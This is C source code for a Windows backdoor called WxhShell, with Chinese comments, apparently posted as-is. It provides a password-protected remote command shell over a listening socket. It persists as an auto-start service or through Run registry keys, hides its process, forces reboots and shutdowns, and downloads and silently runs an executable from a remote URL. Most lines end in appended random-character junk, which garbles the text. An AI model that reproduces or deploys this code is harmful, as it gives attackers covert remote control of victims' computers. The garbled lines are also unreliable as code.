    } OY{fxBb  
    break; SvSO?H!-  
    } #1haq[Uv7  
  // 关机 veq3t$sj  
  case 'd': { C<J*C0vQO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ht2Fi e  
    if(Boot(SHUTDOWN)) X0 |U?Ib?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z)C}}NH*!@  
    else { ,ho",y  
    closesocket(wsh); w317]-n  
    ExitThread(0); F&6#j  
    } &b#d4p6&l  
    break; Sqn>L`Lz  
    } nKGQU,C  
  // 获取shell ;9j ]P56  
  case 's': { 1TQ?Fxj  
    CmdShell(wsh); s@{82}f~  
    closesocket(wsh); 73X*|g  
    ExitThread(0); ZFtR#r(~41  
    break; @HbRfD/!  
  } Ij(<(y{?Q1  
  // 退出 E'\gd7t ;  
  case 'x': { f)_<Ih\/7_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tlQ6>v'  
    CloseIt(wsh); 6c]4(%8  
    break; iO*5ClB  
    }  G06;x   
  // 离开 d=bK NA90  
  case 'q': { 2B$dT=G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6ZI Pe~`  
    closesocket(wsh); :(XyiF<Ud  
    WSACleanup(); "J,|),Yd  
    exit(1); Mrk3r/ 8w  
    break; fC'u-m?!Q'  
        } 1SjVj9{:  
  } {oY"CZ2  
  } TI3xt-/  
M%_*vD  
  // 提示信息 &qWg$_Yh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Zyuhji^  
} T2rwK2  
  } YMu#<ZG  
z+.G>0M  
  return; CfW#Wk:8J  
} sBZn0h@  
{BlTLAKm  
// shell模块句柄 4Vi*Qa_,y  
int CmdShell(SOCKET sock) -I{op wd  
{ &PPnI(s^K  
STARTUPINFO si; 6%p6BK6  
ZeroMemory(&si,sizeof(si)); 8WDL.IO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ti GH#~?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H%m^8yW1  
PROCESS_INFORMATION ProcessInfo; :a Cf@:']  
char cmdline[]="cmd";  Fw[1Aa#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fASklcQ  
  return 0; 1.p ?1"4\u  
} Q#yHH]U)X  
ij] ~n  
// 自身启动模式 }2LG9B%  
int StartFromService(void) by9UwM=gp  
{ xKL(:ePS  
typedef struct w@2NXcmw  
{ xb[yy}>"L  
  DWORD ExitStatus; ww %c+O/  
  DWORD PebBaseAddress; ):G+*3yb  
  DWORD AffinityMask; 2A  
  DWORD BasePriority; ([$KXfAi]h  
  ULONG UniqueProcessId; X_-/j.  
  ULONG InheritedFromUniqueProcessId; 9u=]D> kb  
}   PROCESS_BASIC_INFORMATION; &O+S [~  
Wp = ]YO  
PROCNTQSIP NtQueryInformationProcess; ]gHrqi%  
A* qR<cp[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GKg #nXS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (~\HizSl  
SKf;Fe  
  HANDLE             hProcess; L7 FFa:#  
  PROCESS_BASIC_INFORMATION pbi; W{JR%Sq$  
oSYJXs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i|H^&$|  
  if(NULL == hInst ) return 0; <AVWT+,  
-;Mh|!yg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T: '<:*pD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  1^hG}#6_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @?tR-L<u  
c;b<z|}z  
  if (!NtQueryInformationProcess) return 0; %[*_-%  
'h&>K,U?5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  [Ketg  
  if(!hProcess) return 0; 3NwdE/x\  
g>ke;SH%KY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U>n.+/ss  
)@ B !  
  CloseHandle(hProcess); sFfargl  
1N]-WCxQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NSRY(#3  
if(hProcess==NULL) return 0; !=vsY]  
yYJ +vs  
HMODULE hMod; :q1j?0 {2N  
char procName[255]; &z\?A2Mw%  
unsigned long cbNeeded; Z~ q="CA4  
AA|G &&1y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '&AeOn  
H-& ktQWK3  
  CloseHandle(hProcess); *bcemH8f  
+^,&z}( Ak  
if(strstr(procName,"services")) return 1; // 以服务启动 v{SYz<(  
0}_1 ZU  
  return 0; // 注册表启动 4GJx1O0Ol  
} 7m(9|Y:Q.  
D#ED?Lqf  
// 主模块 '}Jq(ah(  
int StartWxhshell(LPSTR lpCmdLine) g>?,,y6/w  
{ >\Iy <M  
  SOCKET wsl; O,&p"K&Z  
BOOL val=TRUE; BYI13jMH+Y  
  int port=0; 8 =3#S'n  
  struct sockaddr_in door; dr=KoAIxy  
r)w]~)8  
  if(wscfg.ws_autoins) Install(); Ag]Hk %  
I} ]s(  
port=atoi(lpCmdLine); "aGpC{  
t2-bw6U  
if(port<=0) port=wscfg.ws_port; !E/%Hv1  
]\=M$:,RZ  
  WSADATA data; #0M,g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B&lF! ]  
0j-;4>p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J {#C<C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0 KWi<G1  
  door.sin_family = AF_INET; (@*#Pn|A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J}&xS<  
  door.sin_port = htons(port); A$'rT|>se  
 0c:j wtf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dmk~t="Y  
closesocket(wsl); ~F]If\b  
return 1; c:`&QDF  
} ,OO0*%  
1j^FNg ~  
  if(listen(wsl,2) == INVALID_SOCKET) { OY#=s!] M  
closesocket(wsl); D)LqkfJ}z^  
return 1; R$ 40cW3`  
} h3L{zOff  
  Wxhshell(wsl); D\G P+Ota  
  WSACleanup(); L sMS`o6  
@GR|co  
return 0; >RT02Ey>  
yu62$ d  
} }3mIj<I1;  
`_&7-;)i*\  
// 以NT服务方式启动 =C2,?6!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2f@gR9T  
{ ,U/ZG|=v  
DWORD   status = 0; Q2/ZO2  
  DWORD   specificError = 0xfffffff; h3Z0NJ=xM  
<P1sK/IZb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [L@ vC>G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; . B9rG~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KC{ HX?  
  serviceStatus.dwWin32ExitCode     = 0; My!<_Hp-W  
  serviceStatus.dwServiceSpecificExitCode = 0;  snyg  
  serviceStatus.dwCheckPoint       = 0; j_*#"}Lcp  
  serviceStatus.dwWaitHint       = 0; ra k@oW]  
g"sW_y_O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7*r7Q'  
  if (hServiceStatusHandle==0) return; <}$o=>'  
HGpj(U:`c  
status = GetLastError();  qTL]  
  if (status!=NO_ERROR) !'^gqaF+  
{ n +z5;'my  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jE</a %  
    serviceStatus.dwCheckPoint       = 0; xTW$9>@\m  
    serviceStatus.dwWaitHint       = 0; ;  u0 MY  
    serviceStatus.dwWin32ExitCode     = status; z@3t>k|K  
    serviceStatus.dwServiceSpecificExitCode = specificError; u%vq<|~-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7a}vb@  
    return; LHb(T` .=  
  } Q}M% \v  
|Tp>,\:5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0x\bDWZ_  
  serviceStatus.dwCheckPoint       = 0; zviEk/:zm  
  serviceStatus.dwWaitHint       = 0; OXuBtW*,z+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jiljf2h  
} _fu?,  
wBUn*L  
// 处理NT服务事件,比如:启动、停止 ;|f|d?Q\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s1xl*lKX%  
{ E1'HdOh&z  
switch(fdwControl) WBgS9qiB  
{ |P si?'4  
case SERVICE_CONTROL_STOP: I=)u:l c  
  serviceStatus.dwWin32ExitCode = 0; Re{vO&.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,=tPh4>  
  serviceStatus.dwCheckPoint   = 0; XP"lqyAi  
  serviceStatus.dwWaitHint     = 0; [wJM=` !W  
  { wtCz%!OYB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gvk)H$ni  
  } 1o. O]>  
  return; %OeA"#  
case SERVICE_CONTROL_PAUSE: ruG5~dm>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;x*_h  
  break; 5DK>4H:  
case SERVICE_CONTROL_CONTINUE: &M,a+|yuY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mv O!Y  
  break; k*(c8/<.d  
case SERVICE_CONTROL_INTERROGATE: swYlp  
  break; l~;H~h!h/  
}; 0; 2i"mzS\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;&q}G1  
} +D[|L1{xb  
Y (x_bJ  
// 标准应用程序主函数 ym9Z:2g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <+o-{{E[  
{ I 8vv  
&PaqqU.  
// 获取操作系统版本 lqn7$  
OsIsNt=GetOsVer(); GwQW I ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C8rD54A'M  
L^i=RGx  
  // 从命令行安装 Oi AZA<  
  if(strpbrk(lpCmdLine,"iI")) Install(); $m,gQV~4  
AD#]PSB  
  // 下载执行文件 8] skAh  
if(wscfg.ws_downexe) { ig<Eyr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t ~ruP',~\  
  WinExec(wscfg.ws_filenam,SW_HIDE); JQ=i{9iJ  
} Z"#eN(v.N  
g}"`@H(9r3  
if(!OsIsNt) { "RMBV}<T  
// 如果时win9x,隐藏进程并且设置为注册表启动 n8UQIa4&=  
HideProc(); Jz7a|pgep  
StartWxhshell(lpCmdLine); c[\ :^w^I6  
} Wt4ROj  
else ;*1bTdB5a  
  if(StartFromService()) G6(k wv4  
  // 以服务方式启动 W2/FGJD  
  StartServiceCtrlDispatcher(DispatchTable); [zv>Wlf,%  
else %a=K:" oU[  
  // 普通方式启动 yI/2 e[  
  StartWxhshell(lpCmdLine); HM57b>6  
B!-hcn]y  
return 0; s7.2EkGl=  
} CF"$&+s9  
5v <>%=  
ZycV?ob8}  
_a1 =?  
=========================================== 1{l18B`  
OzY55  
Wt5x*p-!C  
U"$Q$ OFs  
!$Aijd s5  
;,P-2\V/  
" uT'_}cw  
i;Cs,Esnf  
#include <stdio.h> |T?wM/  
#include <string.h> Y$xO&\&)  
#include <windows.h> 9rXbv4{  
#include <winsock2.h> QK _1!t3  
#include <winsvc.h> GslUN% UJr  
#include <urlmon.h> rMXIw  
j,%@%upM  
#pragma comment (lib, "Ws2_32.lib") )Y%>t  
#pragma comment (lib, "urlmon.lib") !w iW#PR  
(Mi]vK.4  
#define MAX_USER   100 // 最大客户端连接数 ,XT#V\qne  
#define BUF_SOCK   200 // sock buffer @3`:aWda  
#define KEY_BUFF   255 // 输入 buffer dFY]~_P472  
b3(pRg[Fp  
#define REBOOT     0   // 重启 +5J"G/f  
#define SHUTDOWN   1   // 关机 VBc[(8o  
s ^NO(  
#define DEF_PORT   5000 // 监听端口 Eu/~4:XN  
KrO oxrDcp  
#define REG_LEN     16   // 注册表键长度 s_]p6M  
#define SVC_LEN     80   // NT服务名长度 %Q]u_0P*  
a*LT<N  
// 从dll定义API (vte8uQe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >! +.M9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y.I-h l1<r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  !sda6?&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _;mN1Te  
~3}Gu^@  
// wxhshell配置信息 }~P%S(zB  
struct WSCFG { #_yQv?J  
  int ws_port;         // 监听端口 .qVz rS  
  char ws_passstr[REG_LEN]; // 口令 @$FE}j_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9hAS#|vK  
  char ws_regname[REG_LEN]; // 注册表键名 >Gbj1>C}  
  char ws_svcname[REG_LEN]; // 服务名 xe^*\6Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vW4~\]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `@GqD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RZ)sCR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;t47cUm6j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PfX{n5yBW8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /64jO?mp  
}Ictnb  
}; u2HkAPhD  
1xK'1g72  
// default Wxhshell configuration KDwz!:ye  
struct WSCFG wscfg={DEF_PORT, ?fv?6r  
    "xuhuanlingzhe", _'&N01  
    1, a]:tn:q  
    "Wxhshell", ~82[pY  
    "Wxhshell", _3$@s{k-TI  
            "WxhShell Service", }qfr&Ffh@  
    "Wrsky Windows CmdShell Service", yu"Ii-9z  
    "Please Input Your Password: ", lhg3 }dW  
  1, f@l6]z{.L  
  "http://www.wrsky.com/wxhshell.exe", 1lyJ;6i6L  
  "Wxhshell.exe" 7t-j2 n`<  
    }; fs4pAB#F  
K%LDOVE8e  
// 消息定义模块 ) Kfk\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 70_T;K6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ln.kEhQ3B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >Bp%~8f  
char *msg_ws_ext="\n\rExit."; rUfW0  
char *msg_ws_end="\n\rQuit."; 4mOw[}@A  
char *msg_ws_boot="\n\rReboot..."; khT&[!J{>  
char *msg_ws_poff="\n\rShutdown..."; K#M h  
char *msg_ws_down="\n\rSave to "; /H.QGPr  
Cus=UzL  
char *msg_ws_err="\n\rErr!"; ^B@4 w\t  
char *msg_ws_ok="\n\rOK!"; xVoWGz7  
EQPZV K/  
char ExeFile[MAX_PATH]; xrx{8pf  
int nUser = 0; |)6(_7e9  
HANDLE handles[MAX_USER]; O{8"f\*  
int OsIsNt; dsDoPo0!  
47I:o9E  
SERVICE_STATUS       serviceStatus; oTtmn, T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qu]0BVIe  
_dqjRhu  
// 函数声明 `XYT:'   
int Install(void); FW7+!A&F  
int Uninstall(void); G B!3` A%&  
int DownloadFile(char *sURL, SOCKET wsh); @RotJl/>  
int Boot(int flag); 'R*gSqx~  
void HideProc(void); )DMu`cD  
int GetOsVer(void); qGkrG38K  
int Wxhshell(SOCKET wsl); q?z6|]M|u  
void TalkWithClient(void *cs); kN9S;o@)  
int CmdShell(SOCKET sock); cb&y8!ci~  
int StartFromService(void); h7Jo _L7  
int StartWxhshell(LPSTR lpCmdLine); Bir }X  
d;S:<]l'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r0G#BPgdR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `.a L>hf  
B0=:A  
// 数据结构和表定义 OdQ >h$ gZ  
SERVICE_TABLE_ENTRY DispatchTable[] = u#p1W|\4  
{ J'9&dt  
{wscfg.ws_svcname, NTServiceMain}, GQqw(2Ub}  
{NULL, NULL} j-gLX  
}; 7qE V5!  
VR?7{3  
// 自我安装 ]wne2WXE  
int Install(void) jbIWdHZ/US  
{ 5K'EuI)  
  char svExeFile[MAX_PATH]; >|0yH9af  
  HKEY key; +azPpGZ=  
  strcpy(svExeFile,ExeFile); m?<8 ':  
v ;MI*!E  
// 如果是win9x系统,修改注册表设为自启动 XeDU ,  
if(!OsIsNt) { '5ky<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hD<z^j+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b("CvD8  
  RegCloseKey(key); F/j=rs,*|D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {J})f>x<xM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k`g+    
  RegCloseKey(key); yfTnj:Fz  
  return 0; b]RCe^E1  
    } I-/PzL<W P  
  } 5[l3]HOO  
} ;x^&@G8W`  
else { L*FmJ{Yf  
|D]jdd@!a2  
// 如果是NT以上系统,安装为系统服务 ""pJO 6bI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DDAqgx  
if (schSCManager!=0) hN\E8"To  
{ eBU\&z[  
  SC_HANDLE schService = CreateService VPN@q<BV  
  ( yWzvE:!)  
  schSCManager, ;k b^mJE  
  wscfg.ws_svcname, *\VQ%_wg  
  wscfg.ws_svcdisp, @Jm$<E  
  SERVICE_ALL_ACCESS, Br#]FB|tD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )W57n)]  
  SERVICE_AUTO_START, [Hd^49<P2  
  SERVICE_ERROR_NORMAL, J=zZGd%  
  svExeFile, nWXI*%m5  
  NULL, ; UrwK  
  NULL, Q]6nW[@j'  
  NULL, 9HTb  
  NULL, 7%7_i%6wP  
  NULL {g/\5Z\b  
  ); <R3S{ ty  
  if (schService!=0) )%^oR5W  
  { /c'#+!19  
  CloseServiceHandle(schService); ZlO@PlZ)  
  CloseServiceHandle(schSCManager); k9^P#l@p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y!POUMA }A  
  strcat(svExeFile,wscfg.ws_svcname); U +mx@C_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K03a@:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |AFF*]e S  
  RegCloseKey(key); $oxPmELtpe  
  return 0; (^Nf;E  
    } y~- ?   
  } sp_(j!]jX  
  CloseServiceHandle(schSCManager); a'T|p)N.;T  
} k ,<L#?,a  
} 2o\\qEYg  
a 3O_8GU  
return 1; Rb9Z{Clq>  
} mD)Nh  
5lU`o  
// 自我卸载 %{HqF>=~  
int Uninstall(void) ~!:F'}bj  
{ L3<XWpv  
  HKEY key; {.!:T+'Xi\  
&0>{mq}p,:  
if(!OsIsNt) { >Mvt;'c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QGshc  
  RegDeleteValue(key,wscfg.ws_regname); 1/&j'B  
  RegCloseKey(key); " g_\W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zZf#E@=$|  
  RegDeleteValue(key,wscfg.ws_regname); J|'T2g  
  RegCloseKey(key); ^ g4)aaBZ  
  return 0; LG,RF:  
  } g` h>:5]  
} C&5T;=<jKO  
} f ~Fus  
else { 8L|C&Ymj  
rBny*!n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hG ]jm  
if (schSCManager!=0) (> 8fcQUBb  
{ _8S).*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % tJ?dlD'  
  if (schService!=0) o&CvjE  
  { N7;E 2 X  
  if(DeleteService(schService)!=0) { ,U7hzBj8k  
  CloseServiceHandle(schService); [ 0~qs|27  
  CloseServiceHandle(schSCManager); \4vFEJSh  
  return 0; t 1&p> v  
  } db4&?55Q  
  CloseServiceHandle(schService); +'KM~c?]  
  } /NkZ;<uxJ  
  CloseServiceHandle(schSCManager); FcWu#}.p}  
} tjTF?>^6|  
} qh&K{r*T  
5o72X k  
return 1; >eEf|tKO  
} | 'z)RFqj  
t*<c+Ixu  
// 从指定url下载文件 3AB5Qs<  
int DownloadFile(char *sURL, SOCKET wsh) .9ROa#7U;n  
{ G6J3F  
  HRESULT hr; 8ziYav  
char seps[]= "/";  (&gCVf  
char *token; h T Xc0  
char *file; ,J~1~fg89  
char myURL[MAX_PATH]; 6@$[x* V  
char myFILE[MAX_PATH]; AVJF[t,  
{Ise (>V  
strcpy(myURL,sURL); u( o@_6  
  token=strtok(myURL,seps); B#gmT2L  
  while(token!=NULL) "*T)L<G  
  { FE5R ^W#u-  
    file=token; '*-SvA\Cx  
  token=strtok(NULL,seps); D{4 Y:O&J  
  } /;lk.-yU  
vx4& ;2  
GetCurrentDirectory(MAX_PATH,myFILE); dKMuo'H'%  
strcat(myFILE, "\\"); H}$#aXEAn  
strcat(myFILE, file); ._R82 gy  
  send(wsh,myFILE,strlen(myFILE),0); [6Wr t8"  
send(wsh,"...",3,0); !uZ+r%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xmnq ZWB  
  if(hr==S_OK) MVj@0W33m  
return 0; YM;^c% _7  
else 6JL 7ut  
return 1; dqe_&C@*O  
zZRqb/20  
} lfKknp#B/O  
*H$nydQ:  
// 系统电源模块 K4rr.f6  
int Boot(int flag) y jpjJ  
{ z_H2 L"Z  
  HANDLE hToken; ZN)/doK  
  TOKEN_PRIVILEGES tkp; jmb\eOq+~V  
@Yg7F>s  
  if(OsIsNt) { X}!_p& WI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lt*k(JD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /}VQzF  
    tkp.PrivilegeCount = 1; :.~a[\C@V<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s=$7lYX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :X!(^ a;]  
if(flag==REBOOT) { M{S7ia"s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pqs)ueu  
  return 0; Vy9n3W"FB1  
} zZxP= c  
else { 0L1P'*LRU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^4[\-L8Lpq  
  return 0; }}2 kA  
} 3UaP7p+d  
  } BOWTH{KR<<  
  else { . 9 NS  
if(flag==REBOOT) { cC[n~OV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1D`RR/g&  
  return 0;  -{wuF0f  
} 9t[278B6  
else { <H p"ZCN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4A&e+kz&:R  
  return 0; 6?lg 6a/eO  
} MT5A%|He  
} h <M7[p=  
E,|n'  
return 1; U&5zs r  
} Pjy?&;GvT  
~ /[Cgh0  
// win9x进程隐藏模块 c>R(Fs|6  
void HideProc(void) %8tN$8P  
{ g5Vr2  
lEDHx[q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oL@ou{iQ  
  if ( hKernel != NULL ) 9e&#;6l  
  { n96gDH*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )eEvyU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gh}AD1TN]  
    FreeLibrary(hKernel); s,v#lJ]d0W  
  } V[M#qZS  
{XXNl)%  
return; M;Rw]M  
} $iPN5@F  
TxvPfU?  
// 获取操作系统版本 PPPwDsJ  
int GetOsVer(void) Vr1|%*0Tv  
{ 2P ?Iu&  
  OSVERSIONINFO winfo; w'0M>2   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )r i3ds  
  GetVersionEx(&winfo); 48Lmy<}*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4sQAR6_SW~  
  return 1; % 4"~O _S  
  else 3R*@m  
  return 0; N]}+F w\5  
} }# x3IE6'  
\Ji2u GT  
// 客户端句柄模块 mv.I.EL  
int Wxhshell(SOCKET wsl) Nj_sU0Dt  
{ bW^QH-t  
  SOCKET wsh; ,rI |+  
  struct sockaddr_in client; BznA)EK?@  
  DWORD myID; 1$VI\}  
mJ>99:W+  
  while(nUser<MAX_USER) <M?#3&5A  
{ BDRVT Y(s  
  int nSize=sizeof(client); ^6oqq[$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }.) 43(>]  
  if(wsh==INVALID_SOCKET) return 1;  &n.uNe  
^(JHRH~=h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /VO@>Hoh  
if(handles[nUser]==0) Mgs|*u-5  
  closesocket(wsh); FTnQqDuT  
else nj0AO0  
  nUser++; #(+HSZm  
  } w a<C*o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 64']F1p0  
DIp:S&q2  
  return 0; /_OZ1jX  
} ]MLLr'6?  
niEEm`"  
// 关闭 socket -,A5^>}%,Y  
void CloseIt(SOCKET wsh) ' xZPIj+  
{ KBRg95E~]l  
closesocket(wsh); *-AAQ  
nUser--; (g/X(3  
ExitThread(0); .S'fM]_#  
} '#i]SU&*  
s!/holu  
// 客户端请求句柄 o-=d|dWG  
void TalkWithClient(void *cs) ,PMb9 O\B  
{ iynS4]`U  
<S8W~ wC  
  SOCKET wsh=(SOCKET)cs; Y-3[KHD  
  char pwd[SVC_LEN]; k?/vy9  
  char cmd[KEY_BUFF]; 9g &Ch9-/  
char chr[1]; ?)[zLnxc&  
int i,j; IO!1|JMr6  
b({Nf,(a2  
  while (nUser < MAX_USER) { 9^QYuf3O  
X ' #$e{  
if(wscfg.ws_passstr) { b;J0'o^G|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g{W6a2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2WPF{y%/  
  //ZeroMemory(pwd,KEY_BUFF); .eabtGO,  
      i=0; {eswe  
  while(i<SVC_LEN) { ,M@m4bx  
(}FW])y  
  // 设置超时 <duBwkiG  
  fd_set FdRead; :#\B {)(  
  struct timeval TimeOut; !0OD(XT  
  FD_ZERO(&FdRead); 9]L!.  
  FD_SET(wsh,&FdRead); g{ v5mly  
  TimeOut.tv_sec=8; ]]uzl0LH  
  TimeOut.tv_usec=0; <p^*Ydx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z<N&UFw7QJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6L8tz 8  
prlyaq;4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l$-=Pqb  
  pwd=chr[0]; rv,NQZ  
  if(chr[0]==0xd || chr[0]==0xa) { UbY~xs7_  
  pwd=0; [W9e>Nsp0  
  break; G9i&#)nWr  
  } I mPu}  
  i++; }$Hs;4|  
    } m@G<ZCMZ  
x&R9${e%  
  // 如果是非法用户,关闭 socket ]g>m?\'n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t+3   
} 0q[p{_t`  
#QTfT&m+G}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i'W_;Y}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DJViy  
V8sH{R-  
while(1) { vo(g0Au)  
@V* ju  
  ZeroMemory(cmd,KEY_BUFF); h v$uH7Fz  
smfG, TI  
      // 自动支持客户端 telnet标准   ka5#<J7<p  
  j=0; c~gNH%1XN  
  while(j<KEY_BUFF) { j-lSFTo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >JKnGeF  
  cmd[j]=chr[0]; "x#]i aDjf  
  if(chr[0]==0xa || chr[0]==0xd) { L$Hx?^3  
  cmd[j]=0; 2^)D .&  
  break; iK5]y+@8  
  } xSpMyXrQ  
  j++; cWN d<=Jp  
    } eJU;*] xfH  
;cv.f>Cm  
  // 下载文件 FOOQ'o[}  
  if(strstr(cmd,"http://")) { 6=ZRn gQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @sc8}"J]#  
